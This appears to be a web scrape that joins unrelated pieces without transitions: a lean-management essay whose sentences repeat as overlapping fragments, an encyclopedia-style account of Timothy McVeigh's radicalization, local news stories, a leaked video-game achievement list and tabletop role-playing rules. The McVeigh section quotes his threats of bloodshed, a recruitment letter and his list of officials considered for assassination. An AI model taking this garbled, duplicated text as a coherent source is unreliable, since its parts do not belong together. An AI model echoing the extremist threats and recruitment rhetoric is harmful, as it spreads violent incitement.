The separation of strategy and execution. In 1980, Michael Porter insisted that leaders should focus on strategy and market positioning, and that execution is just about acquiring best-practice systems and lower-cost labor. Lean leaders reject this separation between strategy and execution, recognizing that lean capabilities can’t be bought – they are nurtured and grown over time.
. In 1980, Michael Porter insisted that leaders should focus on strategy and market positioning, and that execution is just about acquiring best-practice systems and lower-cost labor. Lean leaders reject this separation between strategy and execution, recognizing that lean capabilities can’t be bought – they are nurtured and grown over time. Managing by the numbers. It turns out that traditional financial accounting systems cannot see many of the problems or effectively track the improvements stemming from solving them. Lean capabilities improve physical processes and quality and free up capacity and cash, which executives can then turn them into growth and profits.
It turns out that traditional financial accounting systems cannot see many of the problems or effectively track the improvements stemming from solving them. Lean capabilities improve physical processes and quality and free up capacity and cash, which executives can then turn them into growth and profits. Relying on processes and systems designed by experts results in middle managers simply focusing on ensuring compliance and leads to static optimization and no learning. Lean taps into the knowledge of those running each process, capturing and building on their improvements to create the next generation of products and processes.
results in middle managers simply focusing on ensuring compliance and leads to static optimization and no learning. Lean taps into the knowledge of those running each process, capturing and building on their improvements to create the next generation of products and processes. Silos and rule-based bureaucracy divert a lot of expensive executive time into fighting PowerPoint wars to defend silo budgets and optimize the activities of different business areas. Bureaucracy inherently resists change and hides problems to avoid blame. Lean reveals problems and builds horizontal cooperation along the flow of work creating customer value.
divert a lot of expensive executive time into fighting PowerPoint wars to defend silo budgets and optimize the activities of different business areas. Bureaucracy inherently resists change and hides problems to avoid blame. Lean reveals problems and builds horizontal cooperation along the flow of work creating customer value. Long lists of projects. Disengaged leaders who cannot see the underlying problems in their organizations invariably launch long lists of projects, hoping some of them will succeed. This results in overburden, failure to deliver and a great deal of wasted effort and capital. Lean builds a common understanding of the underlying gaps that need closing, and a way to focus efforts on the actions required to close them.
. Disengaged leaders who cannot see the underlying problems in their organizations invariably launch long lists of projects, hoping some of them will succeed. This results in overburden, failure to deliver and a great deal of wasted effort and capital. Lean builds a common understanding of the underlying gaps that need closing, and a way to focus efforts on the actions required to close them. Top-down decision-making. As a model, leaders defining the strategic problem, deciding on a plan of action, driving it through against resistance to change and dealing with the consequences is increasingly being questioned. Cognitive psychology reveals the fundamental flaws in jumping to a solution (see Daniel Kahneman’s Thinking Fast and Slow). It is also inherently wasteful, particularly in rapidly-changing times (Art Byrne – The Lean Post 8 August 2017). The military, too, recognizes that this approach to strategy is outdated – that “the best laid plans do not survive contact with the enemy” (Stephen Bungay – The Art of Action). So their focus now is on developing the skills of the front-line to do the right thing in the circumstances they encounter at the time – which they call “leading from the ground up”. This mirrors the lean approach to decision-making.
Lean can be seen as a series of counter-measures to address these obstacles. However, what brings them together and makes them effective is a different way of thinking and acting that leaders learn by improving their current activities rather than reaching for another big leap in the dark. It is an iterative personal learning journey that Toyota calls “problem awareness” and is a necessary counterpart to problem solving. It is almost always guided by an experienced sensei who leads, challenges and helps leaders to reflect on what they observe and do.
It can be summarized in four steps:
Finding the right problems by going to the gemba to help front-line staff tackle the obstacles they face every day, in order to see the underlying problems and assumptions behind current processes and systems. In doing so, leaders not only signal support for learning and problem solving, but also their willingness to address the root causes that they have often been, maybe inadvertently, responsible for cresting. They also see more clearly what capabilities are needed to address them.
the right problems by going to the gemba to help front-line staff tackle the obstacles they face every day, in order to see the underlying problems and assumptions behind current processes and systems. In doing so, leaders not only signal support for learning and problem solving, but also their willingness to address the root causes that they have often been, maybe inadvertently, responsible for cresting. They also see more clearly what capabilities are needed to address them. Facing up to those problems involves taking a “helicopter view”, measuring their impact across the organization and being clear about the business case for taking action – how quality at source and faster time-to-market can grow sales; how faster flow can release cash; how the intensity of kaizen can lower cost and free up capacity for new products, saving capital. Leaders then set improvement directions, not plans, in a way that everyone can see how they can contribute to meeting them.
up to those problems involves taking a “helicopter view”, measuring their impact across the organization and being clear about the business case for taking action – how quality at source and faster time-to-market can grow sales; how faster flow can release cash; how the intensity of kaizen can lower cost and free up capacity for new products, saving capital. Leaders then set improvement directions, not plans, in a way that everyone can see how they can contribute to meeting them. Framing experiments and learning by seeing the Toyota Production System for what it actually is – a set of learning frames that reveal what it takes to create value for users, what it takes to do every step right-first-time, how to link them in a single-piece flow without batching, how to reveal problems through a pull system, and so on. Repeated reference to these learning frames is as important for leaders as it is for the front line.
Forming solutions through repeated experiments to discover what works in a specific situation and capturing this knowledge in standards. But also building a learning infrastructure to support leaders at every level in deepening the reusable learning of the people working for them, rather than rolling out best practice. And establishing a chain of help rather than a chain of command – and a dialogue – to align activities with the chosen improvement directions.
Continuous learning also lays the foundation for continuous innovation, which translates into: scaling up existing designs rather than making big leaps; learning from a dialogue with key users; capturing learning from production and suppliers; and incorporating new technical opportunities at a faster rate than competitors. Key to managing this is seeing products as a stream of value with a takt time (rather than a series of projects) and developing the critical judgement of the Chief Engineers in defining the overall concept and deciding which changes are necessary and which are not for the next iteration.
Bringing all of this together demonstrates how a people-centric system like lean offers a promising alternative to financial capitalism. Its responsiveness and its ability to learn, create meaningful work for employees and minimize the impact on the environment represent the most coherent strategy a company can adopt to meet the needs of our time. Our challenge is to build on the shoulders of the pioneers in articulating this strategic approach for the managers of the future.
Join Dan Jones, John Shook and many others in Venice in October at the European Lean Summit.
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THE AUTHOR
Professor Daniel T Jones is co-author of the seminal books The Machine that Changed the World, Lean Thinking and Lean Solutions; and co-founder of the lean movement. His latest book (co-authored with Michael Ballé, Jacques Chaize and Orry Fiume) – The Lean Strategy – is available here. Dan is founding chair of the Lean Enterprise Academy in the UK.| By
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Recently, we had the opportunity to talk with Norman Pagett, one of the Authors of the End of More, and excellent Primer for people new to the world of Industrial Civilization Collapse and Population Overshoot. Norman resides in Shropshire, England, right at the heart of where the Industrial Revolution began in the early 1700s with the invention of the Steam Engine, and its early application in pumping the water out of Coal Mines.
In this first part of our discussions with Norman, we go over the early history of the Industrial Revolution and its expansion in the early years.
Much more to come in future episodes. We have a few hours of collapse chat still to wade through and edit here. Meanwhile, enjoy our Collapse analysis of the day here on the Doomstead Diner.
RE
Snippet:
RE: …I don't know how much do you followed any of the old Dickens stories about the dirty state of London back in the early nineteenth century as a result of coal burning?
Norman: Yes I do. In fact two things which expanded London and other cities as well because all of them was the go to transport that's rail transport and the output of sewage, because if you've got a city with a million people in it you've got an awful lot of sewage and you've got to get rid of it, and the only way you can get rid of it was building a sewage system which could only be |
felt that he did not have a home. He sought romance, but his advances were rejected by a co-worker and he felt nervous around women. He believed that he brought too much pain to his loved ones.[25] He grew angry and frustrated at his difficulties in finding a girlfriend and he took up obsessive gambling.[26] Unable to pay back gambling debts, he took a cash advance and then defaulted on his repayments. He then began looking for a state without heavy government regulation or high taxes. He became enraged when the government told him that he had been overpaid $1,058 while in the Army and he had to pay back the money. He wrote an angry letter to the government inviting them to: Go ahead, take everything I own; take my dignity. Feel good as you grow fat and rich at my expense; sucking my tax dollars and property.[27] McVeigh introduced his sister to anti-government literature, but his father had little interest in these views. He moved out of his father's house and into an apartment that had no telephone, which had the advantage of making it impossible for his employer to contact him for overtime assignments. He also quit the NRA, viewing its stance on gun rights as too weak.[28] 1993 Waco siege and gun shows Edit In 1993, he drove to Waco, Texas, during the Waco siege to show his support. At the scene, he distributed pro-gun rights literature and bumper stickers bearing slogans such as, "When guns are outlawed, I will become an outlaw." He told a student reporter: The government is afraid of the guns people have because they have to have control of the people at all times. Once you take away the guns, you can do anything to the people. You give them an inch and they take a mile. I believe we are slowly turning into a socialist government. The government is continually growing bigger and more powerful, and the people need to prepare to defend themselves against government control.[29][30] For the five months following the Waco siege, McVeigh worked at gun shows and handed out free cards printed up with Lon Horiuchi's name and address, "in the hope that somebody in the Patriot movement would assassinate the sharpshooter." Horiuchi is an FBI sniper and some of his official actions have drawn controversy, specifically his shooting and killing of Randy Weaver's wife while she held an infant child. He wrote hate mail to the sniper, suggesting that "what goes around, comes around". McVeigh later considered putting aside his plan to target the Murrah Building to target Horiuchi or a member of his family instead.[31] McVeigh became a fixture on the gun show circuit, traveling to forty states and visiting about eighty gun shows. McVeigh found that the further west he went, the more anti-government sentiment he encountered, at least until he got to what he called "The People's Socialist Republic of California."[32] McVeigh sold survival items and copies of The Turner Diaries. One author said: In the gun show culture, McVeigh found a home. Though he remained skeptical of some of the most extreme ideas being bandied around, he liked talking to people there about the United Nations, the federal government, and possible threats to American liberty.[33]
Arizona with Fortier Edit
McVeigh had a road atlas with hand-drawn designations of the most likely places for nuclear attacks and considered buying property in Seligman, Arizona, which he determined to be in a "nuclear-free zone." McVeigh lived with Michael Fortier in Kingman, Arizona, and they became so close that he served as best man at Fortier's wedding. McVeigh experimented with cannabis and methamphetamine after first researching their effects in an encyclopedia.[34] He was never as interested in drugs as Fortier was, and one of the reasons they parted ways was McVeigh's boredom with Fortier's drug habits.[35]
With Nichols, Waco siege, radicalization and first explosive devices Edit
In April 1993, McVeigh headed for a farm in Michigan where Terry Nichols lived. In between watching coverage of the Waco siege on TV, Nichols and his brother began teaching McVeigh how to make explosives out of readily available materials; specifically, they combined household chemicals in plastic jugs. The destruction of the Waco compound enraged McVeigh and convinced him that it was time to take action. Particularly, the government's use of CS gas on women and children angered McVeigh; he had been exposed to the gas as part of his military training and was familiar with its effects. The disappearance of certain evidence,[36] such as the bullet-riddled steel-reinforced front door to the complex, led him to suspect a cover-up. McVeigh's anti-government rhetoric became more radical. He began to sell Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF) hats riddled with bullet holes and a flare gun, which, he said, could shoot down an "ATF helicopter".[7][37] He produced videos detailing the government's actions at Waco and handed out pamphlets with titles like "U.S. Government Initiates Open Warfare Against American People" and "Waco Shootout Evokes Memory of Warsaw '43." He began changing his answering machine greeting every couple of weeks to various quotes by Patrick Henry such as "Give me liberty or give me death."[38] He began experimenting with pipe bombs and other small explosive devices. The government also imposed new firearms restrictions in 1994 that McVeigh believed threatened his livelihood.[35] McVeigh dissociated himself from his boyhood friend Steve Hodge by sending him a 23-page farewell letter. He proclaimed his devotion to the United States Declaration of Independence, explaining in detail what each sentence meant to him. McVeigh declared that: Those who betray or subvert the Constitution are guilty of sedition and/or treason, are domestic enemies and should and will be punished accordingly. It also stands to reason that anyone who sympathizes with the enemy or gives aid or comfort to said enemy is likewise guilty. I have sworn to uphold and defend the Constitution against all enemies, foreign and domestic and I will. And I will because not only did I swear to, but I believe in what it stands for in every bit of my heart, soul and being. I know in my heart that I am right in my struggle, Steve. I have come to peace with myself, my God and my cause. Blood will flow in the streets, Steve. Good vs. Evil. Free Men vs. Socialist Wannabe Slaves. Pray it is not your blood, my friend.[citation needed] McVeigh felt the need to personally reconnoiter sites of rumored conspiracies. He visited Area 51 in order to defy government restrictions on photography and went to Gulfport, Mississippi to determine the veracity of rumors about United Nations operations. These turned out to be false; the Russian vehicles on the site were being configured for use in U.N.-sponsored humanitarian aid efforts. Around this time, McVeigh and Nichols also began making bulk purchases of ammonium nitrate, an agricultural fertilizer, for resale to survivalists, since rumors were circulating that the government was preparing to ban it.[39]
Plan against federal building or individuals Edit
McVeigh told Fortier of his plans to blow up a federal building, but Fortier declined to participate. Fortier also told his wife about the plans.[40] McVeigh composed two letters to the Bureau of Alcohol, Tobacco and Firearms, the first titled "Constitutional Defenders" and the second "ATF Read." He denounced government officials as "fascist tyrants" and "storm troopers" and warned: ATF, all you tyrannical people will swing in the wind one day for your treasonous actions against the Constitution of the United States. Remember the Nuremberg War Trials.[2] McVeigh also wrote a letter of recruitment to a customer named Steve Colbern: A man with nothing left to lose is a very dangerous man and his energy/anger can be focused toward a common/righteous goal. What I'm asking you to do, then, is sit back and be honest with yourself. Do you have kids/wife? Would you back out at the last minute to care for the family? Are you interested in keeping your firearms for their current/future monetary value, or would you drag that '06 through rock, swamp and cactus... to get off the needed shot? In short, I'm not looking for talkers, I'm looking for fighters... And if you are a fed, think twice. Think twice about the Constitution you are supposedly enforcing (isn't "enforcing freedom" an oxymoron?) and think twice about catching us with our guard down – you will lose just like Degan did – and your family will lose.[41] McVeigh began announcing that he had progressed from the "propaganda" phase to the "action" phase. He wrote to his Michigan friend Gwenda Strider, "I have certain other'militant' talents that are in short supply and greatly demanded."[42] McVeigh later said he considered "a campaign of individual assassination," with "eligible" targets including Attorney General Janet Reno, Judge Walter S. Smith Jr. of Federal District Court, who handled the Branch Davidian trial, and Lon Horiuchi, a member of the FBI hostage-rescue team who shot and killed Vicki Weaver in a standoff at a remote cabin at Ruby Ridge, Idaho, in 1992.[43] He said he wanted Reno to accept "full responsibility in deed, not just words."[44] Such an assassination seemed too difficult,[45] and he decided that since federal agents had become soldiers, it was necessary to strike against them at their command centers.[46] According to McVeigh's authorized biography, he ultimately decided that he would make the loudest statement by bombing a federal building. After the bombing, he was ambivalent about his act; as he expressed in letters to his hometown newspaper, he sometimes wished he had carried out a series of assassinations against police and government officials instead.[47]
Oklahoma City bombing Edit
Arrest, trial, conviction and sentencing Edit
Incarceration and execution Edit
Associations Edit
According to CNN, his only known associations were as a registered Republican while in Buffalo, New York, in the 1980s, and a membership in the National Rifle Association while in the Army, and there is no evidence that he ever belonged to any extremist groups.[89]
Religious beliefs Edit
McVeigh was raised Roman Catholic.[90] During his childhood, he and his father attended Mass regularly.[91] McVeigh was confirmed at the Good Shepherd Church in Pendleton, New York, in 1985.[92] In a 1996 interview, McVeigh professed belief in "a God", although he said he had "sort of lost touch with" Catholicism and "I never really picked it up, however I do maintain core beliefs."[90] In McVeigh's biography American Terrorist, released in 2002, he stated that he did not believe in a hell and that science is his religion.[93][94] In June 2001, a day before the execution, McVeigh wrote a letter to the Buffalo News identifying himself as agnostic. However, he took the Last Rites, administered by a priest, just before his execution.[95][96][97][98][99][100] Father Charles Smith ministered to McVeigh in his last moments in death row.[101]
Motivations for the bombing Edit
Accomplices Edit
McVeigh's accomplice, Terry Nichols, was convicted and sentenced in federal court to life in prison for his role in the crime.[108] At Nichols' trial, evidence was presented indicating that others may have been involved.[109] Several residents of central Kansas, including real estate agent Georgia Rucker and a retired Army NCO, testified at Terry Nichols' federal trial that they had seen two trucks at Geary Lake State Park, where prosecutors alleged the bomb was assembled. The retired NCO said he visited the lake on April 18, 1995, but left after a group of surly men looked at him aggressively. The operator of the Dreamland Motel testified that two Ryder trucks had been parked outside her Grandview Plaza motel where McVeigh stayed in Room 26 the weekend before the bombing.[110] Terry Nichols is incarcerated at ADX Florence in Florence, Colorado.[111] Michael and Lori Fortier were also considered accomplices due to their foreknowledge of the bombing. In addition to Michael assisting McVeigh in scouting the federal building, Lori had helped McVeigh laminate a fake driver's license which was used to rent the Ryder truck.[112] Fortier agreed to testify against McVeigh and Nichols in exchange for a reduced sentence and immunity for his wife.[113] He was sentenced on May 27, 1998, to twelve years in prison and fined $75,000 for failing to warn authorities about the bombing.[114] On January 20, 2006, Fortier was released for good behavior into the Witness Protection Program and given a new identity.[115] An ATF informant, Carol Howe, told reporters that shortly before the bombing she had warned her handlers that guests of Elohim City, Oklahoma were planning a major bombing attack.[116] McVeigh was issued a speeding ticket there at the same time.[117] Other than this speeding ticket, there is no evidence of a connection between McVeigh and members of the Midwest Bank Robbers at Elohim City.[118] In February 2004, the FBI announced it would review its investigation after learning that agents in the investigation of the Midwest Bank Robbers (an alleged Aryan-oriented gang) had turned up explosive caps of the same type that were used to trigger the Oklahoma City bomb.[119] Agents expressed surprise that bombing investigators had not been provided information from the Midwest Bank Robbers investigation. McVeigh declined further delays and maintained until his death that he had acted alone in the bombing. Some witnesses claimed to have seen a second suspect, and there was a search for a "John Doe #2", but none was ever found.[120]
See also EditAh, Halloween. I only remember celebrating it once as a kid. The rest of my memories was opening the door to trick-o-treaters and handing my classmates candy. I always thought they laughed at me from behind their masks. I wish I had a decent excuse not to celebrate it, like the above religious reason. No. My parents were just too poor to afford costumes for me and my brother, plus they didn’t want me wandering the streets begging for food. But it was the day after Halloween that was the most demoralizing – everybody brought their stash of candy to school and they ate it in class. Naturally, I had none.
Anyway, I guess in the spirit of Halloween, here’s a “spoof” of The Shining I did several months ago to practice my Adobe After Effects skills and to pass around to my colleagues for shits and giggles.NASA GSFC, Norman Kuring
Most of us will never have the chance to float about in the International Space Station and look down on the blue globe and swirling clouds of the Earth below. We mostly settle for stunning photographs. Soon, we'll be able to settle for near-real-time streaming video online.
Canadian company UrtheCast is installing two cameras on the ISS today. Once in operation, they will live-stream high-def footage of the Earth through UrtheCast's Web platform. Basic accounts for taking a peek at the views will be free. Users will also be able to access time-lapse compilations.
UrtheCast plans to broadcast satellite imagery and video for major Earth events and important locations. Account holders can even subscribe to favorite locations. For example, I could get a notice every time new shots of my home state, New Mexico, are logged.
The ISS circles around the planet 16 times each day. The cameras will constantly be on the job, generating up to 150 videos every day, each one about 90 seconds long.
While most people will be content as virtual sightseers, UrtheCast will also offer premium services. Those customers will have the opportunity to order footage from specific areas, request custom mosaic images, or even monitor remote locations.
UrtheCast's videos could quickly become one of the most mesmerizing ways to waste time on the Internet. Think of it as Earth TV, the greatest reality show ever created.Don’t Look Now, But Checking Your Phone in a Honolulu Crosswalk Could Cost You
Banning staring at your phone while crossing the street may seem like a no-brainer, but many are wondering if Honolulu doesn’t have better things to focus on—like rail and homelessness.
By Don Wallace
Photo: Thinkstock
Sure, it’s common sense. Soon it will be the law. As of Oct. 25, “No person may cross a street or highway while viewing a mobile electronic device,” declares Bill 6, passed in late July by the Honolulu City Council to take effect 90 days after Mayor Kirk Caldwell signed it into law.
In early versions, it wasn’t easy to define what constituted “viewing” and what devices qualified for inclusion. Phones, personal digital assistants, pagers, video games, laptops and “any digital photographic device” made the final cut. Fines start at $15 for the first citation and rise according to the severity and frequency of the offense, all the way up to $99.
Introduced by council member Brandon Elefante, Bill 6 rode a global wave of concern. First came “driving while texting” laws. Then herds of Pokémon Go players turned crosswalks and intersections into slalom courses. In London, authorities padded lampposts after a spate of “texting injuries” in Brick Lane. To save “digital zombies” from themselves, cities around the world have taken to stenciling instructions on sidewalks at intersections; some even embed traffic signals at toe level.
In London, authorities padded lampposts after a spate of “texting injuries” in Brick Lane.
As the bill became law, The Atlantic magazine published a scary study on the effect of phone use on teens. “Has the smartphone destroyed a generation?” quickly went viral.
There have been objections. Council members Ann Kobayashi and Ernie Martin both voted against the bill, citing concerns about overregulation. Digital natives wondered if this was another case of old fogies bashing millennials. A letter to the newspaper noted the absence of action on rail and homelessness.
Curiously, there seems to have been no consideration of the Fitbit or Apple Watch in drawing up the bill. Do we dare lift a wrist, à la Dick Tracy, to swiftly eye an incoming Google Alert? “Officer, I was shielding my eyes from the sun,” may not cut it in court.
But, with a good lawyer, we think it might.Recreational pot sold in British Columbia will be sold at both public and privately run stores, the provincial government says.
Solicitor General Mike Farnworth made several announcements Tuesday morning about what the future of recreational pot would be in B.C. ahead of the federal government's anticipated legalization of the drug in July 2018.
He also announced the minimum age to purchase pot would be 19.
The provincial Liquor Distribution Branch (LDB) will handle wholesale distribution.
Farnworth said the decisions announced Tuesday were shaped by input from over 48,000 British Columbians received by the province over recent months.
"It's clear that British Columbians support the priorities of protecting young people, health and safety, keeping the criminal element out of cannabis and keeping roads safe, which will guide the province in developing B.C.'s regulatory framework for non-medical cannabis," he said in a release.
He said the province also solicited input from local governments before crafting the rules.
B.C. Minister of Public Safety and Solicitor General Mike Farnworth said government revenues from cannabis sales won't be immediate. (Darryl Dyck/Canadian Press)
More details in new year
Farnworth said a distribution involving both the private and public sectors has been embraced by all provinces which have unveiled plans for cannabis legalization.
When asked if the province stood to profit from being involved in distribution, he said he believed it eventually would. He added there would be significant up-front costs at the outset though and said the 2018 budget would not anticipate any revenue from cannabis.
He said more details on what retail sales would look like would be revealed at the end of January or beginning of February.
He said no details were available yet about pricing.
Union applauds move
Stephanie Smith, president of the B.C. Government and Service Employees Union, which represents LDB employees, said it makes sense for her union's members to handle cannabis distribution because of their experience dealing with alcohol.
"It's already a very and secure and efficient distribution system," she said. "We believe it's a fiscally responsible choice rather than setting up a very costly parallel system."
Barinder Rasode, CEO for the National Institute for Cannabis Health and Education, said she is "encouraged" by the government's plan so far, but added the province has a difficult path ahead.
"We have set a precedent of having licensed dispensaries in the municipality of Vancouver," she said. "They [the NDP government] have to balance access to patients, which the courts have ruled we have a duty to provide, and providing that access in a way with strains and a service model that patients are accustomed to here."
Marijuana legalization and Vancouver dispensary owner Dana Larsen expressed skepticism about Tuesday's announcement. (Meera Bains)
Advocate 'not too happy'
But marijuana legalization advocate Dana Larsen of Sensible BC said he was "not too happy" about the LDB acting as the province's wholesaler.
"I think it's going to add a layer of bureaucracy and cost for not much benefit," he told Gloria Macarenko, host of CBC's B.C. Almanac.
"Cannabis is already regulated by Health Canada federally so the province doesn't need to be looking into the quality or anything like that. I don't see why producers can't just sell directly to retailers or the customer."
Liberal MLA Mike Morris, the province's former solicitor general, called today's announcement a "step in the right direction," but said it was important to make sure private sellers are safe from predation and influence from organized crime.Platinum Games is apparently working on a Teenage Mutant Ninja Turtles (TMNT) game based on an early leak of the game’s rating for all the major platforms. This won’t be much of a surprise since Platinum Games have worked on similar franchise in the past including Legend of Korra and Transformers.
The achievement list for the full game has been discovered online and judging from the leaked achievement list, we can also see that the game has an online and co-op mode. It is unclear if the co-op mode is for local or online co-op.
You can see the full achievement list below, courtesy of Xbox Achievements.
White Belt 5
Complete the Tutorial Nice to meet you! 5
Play online at least once The End? 15
Complete Easy or Normal mode Wear it with Pride 15
Equip at least one Emblem to your profile Collector 20
Obtain 25% of all Collectibles Enthusiast 30
Obtain 50% of all Collectibles Maniac 90
Obtain all Collectibles The Green Way 15
Traverse a total of 32 miles North Hampton 30
Traverse a total of 150 miles Tinkerer 10
Dismantle Charms 30 times 637 IQ 10
Upgrade 30 Charm Effects Everybody Loves Explosions 30
Detonate 100 drum cans (including proximity mines) Bomb Squad 15
Disarm 30 time bombs Gold Rush 15
Transport gold bars 30 times For a Rainy Day 15
Transport 30 bags of money Detoxicator 15
Transport 10 Chemical Weapons to a Portal No Respect for Machinery 15
Destroy 30 cameras and laser devices containers Utrom Buster 15
Transport 30 Krang Bombs to a portal Virtuous Vigilante 15
Protect 30 ATM machines Pie Protector 15
Protect 10 Pizza Trucks Red means Stop 15
Destroy a rampaging car with a drum can Hype Training 30
Collect 10,000 Training Points When Turtles Fly 15
Traverse 1 mile in the Residential Area without touching the ground Look out Below! 15
Destroy a helicopter Let There be Light 15
Activate the ceiling switch during the battle with Slash On Top of Things 15
Climb to the highest point in Karai’s stage and do a little dance Soooooaaaaap 15
Have all Turtles turn into zombies simultaneously by touching contaminated water Night Vision 15
Defeat 10 Stone Warriors with turrets in Wingnut’s stage Explorer 15
Find the secret room in the TCRI building Hard Hitter 15
Defeat the 4 Krangdroids with your conventional weapons in Mega Krang’s stage Goin’ Up! 30
Survive the elevator section at the TCRI building without taking any damage BOOM! 15
Defeat 5 enemies with 1 drum can One Month’s Dinner 30
Eat 100 pizzas Double K.O. 5
Enter the Pizza Room during the snapshots when a boss is defeated Pizza Poser 15
Eat a pizza during the snapshots when a boss is defeated Sorry not Sorry 90
Have everyone perform a Communication Action during the snapshots when a boss is defeated Hit Fast, Hit Hard 15
Defeat 5 enemies with both Turbo Mode and Berserk activated Turtle Power! 15
Use Turtle Switching to defeat 1 enemy with all 4 Turtles Traitor in their midst 15
Defeat 5 enemies at once by blowing up a Foot Soldier carrying a bomb bag Out of this World 15
Experience all of the Krang UFOs’ status effects Party Crasher 30
Defeat a Secret Boss Group Hug 5
Use a Combo Attack to defeat 6 enemies at once Grind the Grind 5
Grind rails for 300 feet Bodyguard 15
Complete a gold bar mission without the carrier being hit even once Stealth Master 30
Complete a stage without being spotted once (outside of Missions) Eavesdropper 5
Hang out outside of an enemy hideout for at least 10 seconds I Like the Green One 15
Use any character at least 50 times Secret Achievements Veteran 30
Complete Hard mode Showoff 30
Have Mikey do his co-op move finishing pose during the snapshots when a boss is defeated Next time, take a cab 30
Defeat Rocksteady and Bebop by letting them get run over by a train
Activision has yet to official announce this new game but judging from the leaked achievement list, the announcement should be expected soon.
Let us know what you think about these achievements in the comments below.Democrats, who hold majorities in the Assembly and Senate, also said they also want Tesla to adhere to Nevada’s prevailing wage laws that govern the construction of public buildings, even though the Tesla gigafactoy will be owned by a publicly traded company and is not a Nevada public building. (Photo: Getty Images/file)
Northern Nevada Democrats said Monday they want to see as many local construction workers and contractors hired to build the planned Tesla Motors gigafactory as possible.
Democrats, who hold majorities in the Assembly and Senate, also said they also want Tesla to adhere to Nevada's prevailing wage laws that govern the construction of public buildings, even though the Tesla gigafactoy will be owned by a publicly traded company and is not a Nevada public building.
THE BIG NUMBERS: What's inside the $1.25 billion Tesla deal
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"The goal of making sure that Nevadans benefit from the jobs — both at the construction level and the ongoing manufacturing phase of the project — is absolutely the goal that we should pursue," said Assemblyman David Bobzien, D-Reno and Washoe County's senior Democrat in the Assembly.
Those points will be part of Democrats' demands as the Nevada Legislature prepares to begin a special session at noon Wednesday in Carson City to ratify an agreement between Tesla CEO Elon Musk and Gov. Brian Sandoval to bring the Tesla battery gigafactory to the Tahoe Reno Industrial Center.
Sandoval's office did not address the prevailing wage concerns of Democrats when asked for a response to Daly's statements.
"Governor Sandoval has consistently stated that growing jobs in Nevada, for Nevadans, is a top priority," spokeswoman Mari N. St. Martin said. "He will continue to work with legislators, with a continued focus on job creation, until every Nevadan who wants a job has one."
Some out-of-state workers and contractors will be needed to build the gigafactory because of specific skills they have, yet Nevadans should get first shot at jobs for which they are qualified, said Assemblyman Skip Daly, D-Sparks.
"Of course, my concern is about the Nevada worker," said Daly, a member of the Assembly Commerce and Labor Committee and secretary of the Laborers' International Union of North America, Local 169.
"We need local workers first, same with contractors," Daly said. "When we start (the special session) we'll be looking for ways to see how we are going to monitor, enforce and measure that."
Musk and Sandoval agreed to a deal last week that would bring the $5 billion project to Nevada in exchange for about $1.25 billion in tax abatements over a two-decade span.
Nevada won a nationally watched bidding war with California, Texas, Arizona and New Mexico to bring the gigafactory to Nevada.
While Daly is prepared to vote for the project, he said the Legislature must be prepared to comb through the details of the proposal.
"As I'm sure you have heard repeatedly, we need to look at the fine print," said Daly, who is battling Republican Jill Dickman to keep his District 31 seat. "We need to make sure we verify all of the sound bites we have heard."
Many lawmakers spent Monday reviewing details of the proposal and seeking input from constituents. State Sen. Debbie Smith, D-Sparks, and chair of the Senate Finance Committee, announced she will hold a "telephone-town hall meeting" with voters tonight to get their views on the deal.
"Due to the nature of a special session and the short time period involved, I want to personally make every effort to understand how my community feels about this project," Smith said in her email to voters.
Smith wanted to get the opinions of voters on the tax breaks in the deal for Tesla including:
• $725 million for a 20-year 100 percent sales tax abatement,
• $332 million for a 10-year 100 percent property tax abatement,
• $120 million in transferable tax credits,
• $27 million for a 10-year, 100 percent modified business tax abatement and;
• $8 million in discounted electricity rates for eight years.
She also noted what Nevada expects to get in return.
"Tesla expects to employ 6,500 direct jobs at its plant, paying up to (an average of) $25 per hour," Smith said. "It is estimated that over 22,000 jobs, direct and indirect, will be created if Tesla builds its new plant in Northern Nevada. The state of Nevada as a whole will see 4 percent economic growth. Nevada's unemployment is expected to decrease by 2 percent, regional employment is expected to increase by 10 percent."
Daly noted Northern Nevada's construction industry was hit as hard as any industry in Nevada by the recent recession. Building the gigafactory could bring it back in a big way.
"As you know, prior to the crash, construction was 25 percent of the state's economy — or more — and we don't want to overlook an important segment of Nevada's economy by importing, unnecessarily, out-of-state construction workers," Daly said.
"We want to make sure they pay fair wages and benefits," Daly said. "We don't want to cut standards that have been established in our area."
It is unclear how long the session will last. Some hope for a one-day session, which would cost taxpayers an estimated $60,000. Each addition day would cost about $25,000, according to revised estimates provided Monday by the Legislative Counsel Bureau.
Yet it may take longer than one day to answer all the questions surrounding the complex set of arrangements,
"There are endless questions that need to be asked, and I'm confident that legislators are all thinking along these lines," Bobzien said. "For instance, for us in Northern Nevada, in particularly in Washoe County, what is going to be the impact to the schools? Certainly, there will be pressure on schools and real estate in the Dayton area but Washoe County is also going to have to deal with the schools.
That does not bode well for Washoe schools, considering how difficult it has been to receive extra state funding for school maintenance and repairs.
"Certainly my concern is that we have, time and time again, failed to deal with challenges that we have in front of us."
Many lawmakers said their constituents seems to be overwhelmingly for the project.
"I've been getting, and probably all lawmakers have been getting quite a number of emails from constituents," said Assembly Minority Leader Pat Hickey, R-Reno. "I would have to say that the overwhelming number of responses I've received are in support of the project."
Read or Share this story: http://on.rgj.com/1onFJhzYou excel at defending narrow passages, doorways, and other tight spaces. As a bonus action, you can enter a defensive stance that lasts until the start of your next turn. While in your defensive stance, you can make opportunity attacks without using your reaction, and you can use your reaction to make a melee attack against a creature that moves more than 5 feet while within your reach.
When you roll a 1 or 2 on a damage die for an attack you make with a melee weapon that you are wielding with two hands, you can reroll the die and must use the new roll. The weapon must have the two-handed or versatile property for you to gain this benefit.
When you are wielding a melee weapon in one hand and no other weapons, you gain a +2 bonus to damage rolls with that weapon.
You adopt a particular style of fighting as your specialty. Choose one of the following options. You can't take a Fighting Style more than once, even if you later get to choose again.
The Gravity Knight is a martial class that augments traditional combat techniques by manipulating gravity through a limited and systematic type of psionics. They train body and mind to fight with vigor and elegance, while relying on their unique abilities to control the battlefield.
Crushing Blow
You can empower your attacks with increased ferocity. On a successful melee strike with a weapon that deals slashing or bludgeoning damage, you can expend 1 Focus point to deal an additional 1d6 weapon damage. You can spend a total number of points equal to ½ your level to deal an additional 1d6 weapon damage per point spent. You can only deal this damage once per turn. If you spend five or more points in this way on a Large or smaller creature, the target must succeed on a Strength saving throw or be knocked prone. The DC for this save is 10 + the number of Focus points spent.
Lightness
